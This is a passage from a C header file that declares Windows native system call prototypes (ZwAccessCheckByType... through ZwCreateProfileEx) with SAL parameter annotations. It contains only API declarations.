AUDIT_EVENT_TYPE AuditType,\n _In_ ULONG Flags,\n _In_reads_opt_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList,\n _In_ ULONG ObjectTypeListLength,\n _In_ PGENERIC_MAPPING GenericMapping,\n _In_ BOOLEAN ObjectCreation,\n _Out_ PACCESS_MASK GrantedAccess,\n _Out_ PNTSTATUS AccessStatus,\n _Out_ PBOOLEAN GenerateOnClose\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAccessCheckByTypeResultList(\n _In_ PSECURITY_DESCRIPTOR SecurityDescriptor,\n _In_opt_ PSID PrincipalSelfSid,\n _In_ HANDLE ClientToken,\n _In_ ACCESS_MASK DesiredAccess,\n _In_reads_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList,\n _In_ ULONG ObjectTypeListLength,\n _In_ PGENERIC_MAPPING GenericMapping,\n _Out_writes_bytes_(*PrivilegeSetLength) PPRIVILEGE_SET PrivilegeSet,\n _Inout_ PULONG PrivilegeSetLength,\n _Out_writes_(ObjectTypeListLength) PACCESS_MASK GrantedAccess,\n _Out_writes_(ObjectTypeListLength) PNTSTATUS AccessStatus\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAccessCheckByTypeResultListAndAuditAlarm(\n _In_ PUNICODE_STRING SubsystemName,\n _In_opt_ PVOID HandleId,\n _In_ PUNICODE_STRING ObjectTypeName,\n _In_ PUNICODE_STRING ObjectName,\n _In_ PSECURITY_DESCRIPTOR SecurityDescriptor,\n _In_opt_ PSID PrincipalSelfSid,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ AUDIT_EVENT_TYPE AuditType,\n _In_ ULONG Flags,\n _In_reads_opt_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList,\n _In_ ULONG ObjectTypeListLength,\n _In_ PGENERIC_MAPPING GenericMapping,\n _In_ BOOLEAN ObjectCreation,\n _Out_writes_(ObjectTypeListLength) PACCESS_MASK GrantedAccess,\n _Out_writes_(ObjectTypeListLength) PNTSTATUS AccessStatus,\n _Out_ PBOOLEAN GenerateOnClose\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAccessCheckByTypeResultListAndAuditAlarmByHandle(\n _In_ PUNICODE_STRING SubsystemName,\n _In_opt_ PVOID HandleId,\n _In_ HANDLE ClientToken,\n _In_ PUNICODE_STRING ObjectTypeName,\n _In_ PUNICODE_STRING ObjectName,\n _In_ PSECURITY_DESCRIPTOR SecurityDescriptor,\n _In_opt_ PSID PrincipalSelfSid,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ AUDIT_EVENT_TYPE AuditType,\n _In_ ULONG Flags,\n _In_reads_opt_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList,\n _In_ ULONG ObjectTypeListLength,\n _In_ PGENERIC_MAPPING GenericMapping,\n _In_ BOOLEAN ObjectCreation,\n _Out_writes_(ObjectTypeListLength) PACCESS_MASK GrantedAccess,\n _Out_writes_(ObjectTypeListLength) PNTSTATUS AccessStatus,\n _Out_ PBOOLEAN GenerateOnClose\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAcquireCMFViewOwnership(\n _Out_ PULONGLONG TimeStamp,\n _Out_ PBOOLEAN tokenTaken,\n _In_ BOOLEAN replaceExisting\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAddAtom(\n _In_reads_bytes_opt_(Length) PWSTR AtomName,\n _In_ ULONG Length,\n _Out_opt_ PRTL_ATOM Atom\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAddAtomEx(\n _In_reads_bytes_opt_(Length) PWSTR AtomName,\n _In_ ULONG Length,\n _Out_opt_ PRTL_ATOM Atom,\n _In_ ULONG Flags\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAddBootEntry(\n _In_ PBOOT_ENTRY BootEntry,\n _Out_opt_ PULONG Id\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAddDriverEntry(\n _In_ PEFI_DRIVER_ENTRY DriverEntry,\n _Out_opt_ PULONG Id\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAdjustGroupsToken(\n _In_ HANDLE TokenHandle,\n _In_ BOOLEAN ResetToDefault,\n _In_opt_ PTOKEN_GROUPS NewState,\n _In_opt_ ULONG BufferLength,\n _Out_writes_bytes_to_opt_(BufferLength, *ReturnLength) PTOKEN_GROUPS PreviousState,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAdjustPrivilegesToken(\n _In_ HANDLE TokenHandle,\n _In_ BOOLEAN DisableAllPrivileges,\n _In_opt_ PTOKEN_PRIVILEGES NewState,\n _In_ ULONG BufferLength,\n _Out_writes_bytes_to_opt_(BufferLength, *ReturnLength) PTOKEN_PRIVILEGES PreviousState,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAdjustTokenClaimsAndDeviceGroups(\n _In_ HANDLE TokenHandle,\n _In_ BOOLEAN UserResetToDefault,\n _In_ BOOLEAN DeviceResetToDefault,\n _In_ BOOLEAN DeviceGroupsResetToDefault,\n _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION NewUserState,\n _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION NewDeviceState,\n _In_opt_ PTOKEN_GROUPS NewDeviceGroupsState,\n _In_ ULONG UserBufferLength,\n _Out_writes_bytes_to_opt_(UserBufferLength, *UserReturnLength) PTOKEN_SECURITY_ATTRIBUTES_INFORMATION PreviousUserState,\n _In_ ULONG DeviceBufferLength,\n _Out_writes_bytes_to_opt_(DeviceBufferLength, *DeviceReturnLength) PTOKEN_SECURITY_ATTRIBUTES_INFORMATION PreviousDeviceState,\n _In_ ULONG DeviceGroupsBufferLength,\n _Out_writes_bytes_to_opt_(DeviceGroupsBufferLength, *DeviceGroupsReturnBufferLength) PTOKEN_GROUPS PreviousDeviceGroups,\n _Out_opt_ PULONG UserReturnLength,\n _Out_opt_ PULONG DeviceReturnLength,\n _Out_opt_ PULONG DeviceGroupsReturnBufferLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAlertResumeThread(\n _In_ HANDLE ThreadHandle,\n _Out_opt_ PULONG PreviousSuspendCount\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAlertThread(\n _In_ HANDLE ThreadHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAlertThreadByThreadId(\n _In_ HANDLE ThreadId\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAllocateLocallyUniqueId(\n _Out_ PLUID Luid\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAllocateReserveObject(\n _Out_ PHANDLE MemoryReserveHandle,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ MEMORY_RESERVE_TYPE Type\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAllocateUserPhysicalPages(\n _In_ HANDLE ProcessHandle,\n _Inout_ PULONG_PTR NumberOfPages,\n _Out_writes_(*NumberOfPages) PULONG_PTR UserPfnArray\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAllocateUuids(\n _Out_ PULARGE_INTEGER Time,\n _Out_ PULONG Range,\n _Out_ PULONG Sequence,\n _Out_ PCHAR Seed\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAllocateVirtualMemory(\n _In_ HANDLE ProcessHandle,\n _Inout_ _At_(*BaseAddress, _Readable_bytes_(*RegionSize) _Writable_bytes_(*RegionSize) _Post_readable_byte_size_(*RegionSize)) PVOID *BaseAddress,\n _In_ ULONG_PTR ZeroBits,\n _Inout_ PSIZE_T RegionSize,\n _In_ ULONG AllocationType,\n _In_ ULONG Protect\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAlpcAcceptConnectPort(\n _Out_ PHANDLE PortHandle,\n _In_ HANDLE ConnectionPortHandle,\n _In_ ULONG Flags,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes,\n _In_opt_ PVOID PortContext,\n _In_reads_bytes_(ConnectionRequest->u1.s1.TotalLength) PPORT_MESSAGE ConnectionRequest,\n _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES ConnectionMessageAttributes,\n _In_ BOOLEAN AcceptConnection\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAlpcCancelMessage(\n _In_ HANDLE PortHandle,\n _In_ ULONG Flags,\n _In_ PALPC_CONTEXT_ATTR MessageContext\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAlpcConnectPort(\n _Out_ PHANDLE PortHandle,\n _In_ PUNICODE_STRING PortName,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes,\n _In_ ULONG Flags,\n _In_opt_ PSID RequiredServerSid,\n _Inout_updates_bytes_to_opt_(*BufferLength, *BufferLength) PPORT_MESSAGE ConnectionMessage,\n _Inout_opt_ PULONG BufferLength,\n _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes,\n _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES InMessageAttributes,\n _In_opt_ PLARGE_INTEGER Timeout\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAlpcConnectPortEx(\n _Out_ PHANDLE PortHandle,\n _In_ POBJECT_ATTRIBUTES ConnectionPortObjectAttributes,\n _In_opt_ POBJECT_ATTRIBUTES ClientPortObjectAttributes,\n _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes,\n _In_ ULONG Flags,\n _In_opt_ PSECURITY_DESCRIPTOR ServerSecurityRequirements,\n _Inout_updates_bytes_to_opt_(*BufferLength, *BufferLength) PPORT_MESSAGE ConnectionMessage,\n _Inout_opt_ PSIZE_T BufferLength,\n _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes,\n _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES InMessageAttributes,\n _In_opt_ PLARGE_INTEGER Timeout\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAlpcCreatePort(\n _Out_ PHANDLE PortHandle,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAlpcCreatePortSection(\n _In_ HANDLE PortHandle,\n _In_ ULONG Flags,\n _In_opt_ HANDLE SectionHandle,\n _In_ SIZE_T SectionSize,\n _Out_ PALPC_HANDLE AlpcSectionHandle,\n _Out_ PSIZE_T ActualSectionSize\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAlpcCreateResourceReserve(\n _In_ HANDLE PortHandle,\n _Reserved_ ULONG Flags,\n _In_ SIZE_T MessageSize,\n _Out_ PALPC_HANDLE ResourceId\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAlpcCreateSectionView(\n _In_ HANDLE PortHandle,\n _Reserved_ ULONG Flags,\n _Inout_ PALPC_DATA_VIEW_ATTR ViewAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAlpcCreateSecurityContext(\n _In_ HANDLE PortHandle,\n _Reserved_ ULONG Flags,\n _Inout_ PALPC_SECURITY_ATTR SecurityAttribute\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAlpcDeletePortSection(\n _In_ HANDLE PortHandle,\n _Reserved_ ULONG Flags,\n _In_ ALPC_HANDLE SectionHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAlpcDeleteResourceReserve(\n _In_ HANDLE PortHandle,\n _Reserved_ ULONG Flags,\n _In_ ALPC_HANDLE ResourceId\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAlpcDeleteSectionView(\n _In_ HANDLE PortHandle,\n _Reserved_ ULONG Flags,\n _In_ PVOID ViewBase\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAlpcDeleteSecurityContext(\n _In_ HANDLE PortHandle,\n _Reserved_ ULONG Flags,\n _In_ ALPC_HANDLE ContextHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAlpcDisconnectPort(\n _In_ HANDLE PortHandle,\n _In_ ULONG Flags\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAlpcImpersonateClientContainerOfPort(\n _In_ HANDLE PortHandle,\n _In_ PPORT_MESSAGE Message,\n _In_ ULONG Flags\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAlpcImpersonateClientOfPort(\n _In_ HANDLE PortHandle,\n _In_ PPORT_MESSAGE Message,\n _In_ PVOID Flags\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAlpcOpenSenderProcess(\n _Out_ PHANDLE ProcessHandle,\n _In_ HANDLE PortHandle,\n _In_ PPORT_MESSAGE PortMessage,\n _In_ ULONG Flags,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAlpcOpenSenderThread(\n _Out_ PHANDLE ThreadHandle,\n _In_ HANDLE PortHandle,\n _In_ PPORT_MESSAGE PortMessage,\n _In_ ULONG Flags,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAlpcQueryInformation(\n _In_opt_ HANDLE PortHandle,\n _In_ ALPC_PORT_INFORMATION_CLASS PortInformationClass,\n _Inout_updates_bytes_to_(Length, *ReturnLength) PVOID PortInformation,\n _In_ ULONG Length,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAlpcQueryInformationMessage(\n _In_ HANDLE PortHandle,\n _In_ PPORT_MESSAGE PortMessage,\n _In_ ALPC_MESSAGE_INFORMATION_CLASS MessageInformationClass,\n _Out_writes_bytes_to_opt_(Length, *ReturnLength) PVOID MessageInformation,\n _In_ ULONG Length,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAlpcRevokeSecurityContext(\n _In_ HANDLE PortHandle,\n _Reserved_ ULONG Flags,\n _In_ ALPC_HANDLE ContextHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAlpcSendWaitReceivePort(\n _In_ HANDLE PortHandle,\n _In_ ULONG Flags,\n _In_reads_bytes_opt_(SendMessage->u1.s1.TotalLength) PPORT_MESSAGE SendMessage,\n _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES SendMessageAttributes,\n _Out_writes_bytes_to_opt_(*BufferLength, *BufferLength) PPORT_MESSAGE ReceiveMessage,\n _Inout_opt_ PSIZE_T BufferLength,\n _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES ReceiveMessageAttributes,\n _In_opt_ PLARGE_INTEGER Timeout\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAlpcSetInformation(\n _In_ HANDLE PortHandle,\n _In_ ALPC_PORT_INFORMATION_CLASS PortInformationClass,\n _In_reads_bytes_opt_(Length) PVOID PortInformation,\n _In_ ULONG Length\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAreMappedFilesTheSame(\n _In_ PVOID File1MappedAsAnImage,\n _In_ PVOID File2MappedAsFile\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAssignProcessToJobObject(\n _In_ HANDLE JobHandle,\n _In_ HANDLE ProcessHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwAssociateWaitCompletionPacket(\n _In_ HANDLE WaitCompletionPacketHandle,\n _In_ HANDLE IoCompletionHandle,\n _In_ HANDLE TargetObjectHandle,\n _In_opt_ PVOID KeyContext,\n _In_opt_ PVOID ApcContext,\n _In_ NTSTATUS IoStatus,\n _In_ ULONG_PTR IoStatusInformation,\n _Out_opt_ PBOOLEAN AlreadySignaled\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCallbackReturn(\n _In_reads_bytes_opt_(OutputLength) PVOID OutputBuffer,\n _In_ ULONG OutputLength,\n _In_ NTSTATUS Status\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCancelIoFile(\n _In_ HANDLE FileHandle,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCancelIoFileEx(\n _In_ HANDLE FileHandle,\n _In_opt_ PIO_STATUS_BLOCK IoRequestToCancel,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCancelSynchronousIoFile(\n _In_ HANDLE ThreadHandle,\n _In_opt_ PIO_STATUS_BLOCK IoRequestToCancel,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCancelTimer(\n _In_ HANDLE TimerHandle,\n _Out_opt_ PBOOLEAN CurrentState\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCancelTimer2(\n _In_ HANDLE TimerHandle,\n _In_ PT2_CANCEL_PARAMETERS Parameters\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCancelWaitCompletionPacket(\n _In_ HANDLE WaitCompletionPacketHandle,\n _In_ BOOLEAN RemoveSignaledPacket\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwClearEvent(\n _In_ HANDLE EventHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwClose(\n _In_ HANDLE Handle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCloseObjectAuditAlarm(\n _In_ PUNICODE_STRING SubsystemName,\n _In_opt_ PVOID HandleId,\n _In_ BOOLEAN GenerateOnClose\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCommitComplete(\n _In_ HANDLE EnlistmentHandle,\n _In_opt_ PLARGE_INTEGER TmVirtualClock\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCommitEnlistment(\n _In_ HANDLE EnlistmentHandle,\n _In_opt_ PLARGE_INTEGER TmVirtualClock\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCommitTransaction(\n _In_ HANDLE TransactionHandle,\n _In_ BOOLEAN Wait\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCompactKeys(\n _In_ ULONG Count,\n _In_reads_(Count) HANDLE KeyArray[]\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCompareObjects(\n _In_ HANDLE FirstObjectHandle,\n _In_ HANDLE SecondObjectHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCompareTokens(\n _In_ HANDLE FirstTokenHandle,\n _In_ HANDLE SecondTokenHandle,\n _Out_ PBOOLEAN Equal\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCompleteConnectPort(\n _In_ HANDLE PortHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCompressKey(\n _In_ HANDLE Key\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwConnectPort(\n _Out_ PHANDLE PortHandle,\n _In_ PUNICODE_STRING PortName,\n _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos,\n _Inout_opt_ PPORT_VIEW ClientView,\n _Inout_opt_ PREMOTE_PORT_VIEW ServerView,\n _Out_opt_ PULONG MaxMessageLength,\n _Inout_updates_bytes_to_opt_(*ConnectionInformationLength, *ConnectionInformationLength) PVOID ConnectionInformation,\n _Inout_opt_ PULONG ConnectionInformationLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwContinue(\n _In_ PCONTEXT ContextRecord,\n _In_ BOOLEAN TestAlert\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateDebugObject(\n _Out_ PHANDLE DebugObjectHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ ULONG Flags\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateDirectoryObject(\n _Out_ PHANDLE DirectoryHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateDirectoryObjectEx(\n _Out_ PHANDLE DirectoryHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ HANDLE ShadowDirectoryHandle,\n _In_ ULONG Flags\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateEnlistment(\n _Out_ PHANDLE EnlistmentHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ HANDLE ResourceManagerHandle,\n _In_ HANDLE TransactionHandle,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_opt_ ULONG CreateOptions,\n _In_ NOTIFICATION_MASK NotificationMask,\n _In_opt_ PVOID EnlistmentKey\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateEvent(\n _Out_ PHANDLE EventHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ EVENT_TYPE EventType,\n _In_ BOOLEAN InitialState\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateEventPair(\n _Out_ PHANDLE EventPairHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateFile(\n _Out_ PHANDLE FileHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_opt_ PLARGE_INTEGER AllocationSize,\n _In_ ULONG FileAttributes,\n _In_ ULONG ShareAccess,\n _In_ ULONG CreateDisposition,\n _In_ ULONG CreateOptions,\n _In_reads_bytes_opt_(EaLength) PVOID EaBuffer,\n _In_ ULONG EaLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateIoCompletion(\n _Out_ PHANDLE IoCompletionHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_opt_ ULONG Count\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateIRTimer(\n _Out_ PHANDLE TimerHandle,\n _In_ ACCESS_MASK DesiredAccess\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateJobObject(\n _Out_ PHANDLE JobHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateJobSet(\n _In_ ULONG NumJob,\n _In_reads_(NumJob) PJOB_SET_ARRAY UserJobSet,\n _In_ ULONG Flags\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateKey(\n _Out_ PHANDLE KeyHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _Reserved_ ULONG TitleIndex,\n _In_opt_ PUNICODE_STRING Class,\n _In_ ULONG CreateOptions,\n _Out_opt_ PULONG Disposition\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateKeyedEvent(\n _Out_ PHANDLE KeyedEventHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ ULONG Flags\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateKeyTransacted(\n _Out_ PHANDLE KeyHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _Reserved_ ULONG TitleIndex,\n _In_opt_ PUNICODE_STRING Class,\n _In_ ULONG CreateOptions,\n _In_ HANDLE TransactionHandle,\n _Out_opt_ PULONG Disposition\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateLowBoxToken(\n _Out_ PHANDLE TokenHandle,\n _In_ HANDLE ExistingTokenHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ PSID PackageSid,\n _In_ ULONG CapabilityCount,\n _In_reads_opt_(CapabilityCount) PSID_AND_ATTRIBUTES Capabilities,\n _In_ ULONG HandleCount,\n _In_reads_opt_(HandleCount) HANDLE *Handles\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateMailslotFile(\n _Out_ PHANDLE FileHandle,\n _In_ ULONG DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_ ULONG CreateOptions,\n _In_ ULONG MailslotQuota,\n _In_ ULONG MaximumMessageSize,\n _In_ PLARGE_INTEGER ReadTimeout\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateMutant(\n _Out_ PHANDLE MutantHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ BOOLEAN InitialOwner\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateNamedPipeFile(\n _Out_ PHANDLE FileHandle,\n _In_ ULONG DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_ ULONG ShareAccess,\n _In_ ULONG CreateDisposition,\n _In_ ULONG CreateOptions,\n _In_ ULONG NamedPipeType,\n _In_ ULONG ReadMode,\n _In_ ULONG CompletionMode,\n _In_ ULONG MaximumInstances,\n _In_ ULONG InboundQuota,\n _In_ ULONG OutboundQuota,\n _In_opt_ PLARGE_INTEGER DefaultTimeout\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreatePagingFile(\n _In_ PUNICODE_STRING PageFileName,\n _In_ PLARGE_INTEGER MinimumSize,\n _In_ PLARGE_INTEGER MaximumSize,\n _In_ ULONG Priority\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreatePartition(\n _Out_ PHANDLE PartitionHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ ULONG PreferredNode\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreatePort(\n _Out_ PHANDLE PortHandle,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ ULONG MaxConnectionInfoLength,\n _In_ ULONG MaxMessageLength,\n _In_opt_ ULONG MaxPoolUsage\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreatePrivateNamespace(\n _Out_ PHANDLE NamespaceHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ PVOID BoundaryDescriptor\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateProcess(\n _Out_ PHANDLE ProcessHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ HANDLE ParentProcess,\n _In_ BOOLEAN InheritObjectTable,\n _In_opt_ HANDLE SectionHandle,\n _In_opt_ HANDLE DebugPort,\n _In_opt_ HANDLE ExceptionPort\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateProcessEx(\n _Out_ PHANDLE ProcessHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ HANDLE ParentProcess,\n _In_ ULONG Flags,\n _In_opt_ HANDLE SectionHandle,\n _In_opt_ HANDLE DebugPort,\n _In_opt_ HANDLE ExceptionPort,\n _In_ ULONG JobMemberLevel\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateProfile(\n _Out_ PHANDLE ProfileHandle,\n _In_opt_ HANDLE Process,\n _In_ PVOID ProfileBase,\n _In_ SIZE_T ProfileSize,\n _In_ ULONG BucketSize,\n _In_reads_bytes_(BufferSize) PULONG Buffer,\n _In_ ULONG BufferSize,\n _In_ KPROFILE_SOURCE ProfileSource,\n _In_ KAFFINITY Affinity\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nZwCreateProfileEx(\n _Out_ PHANDLE ProfileHandle,\n _In_opt_ HANDLE Process,\n _In_ PVOID ProfileBase,\n _In_ SIZE_T ProfileSize,\n _In_ ULONG BucketSize,\n _In_reads_bytes_(BufferSize) PULONG Buffer,\n _In_ ULONG BufferSize,\n _In_ KPROFILE_SOURCE ProfileSource,\n _In_ USHORT GroupCount,\n _In_reads_(GroupCount) 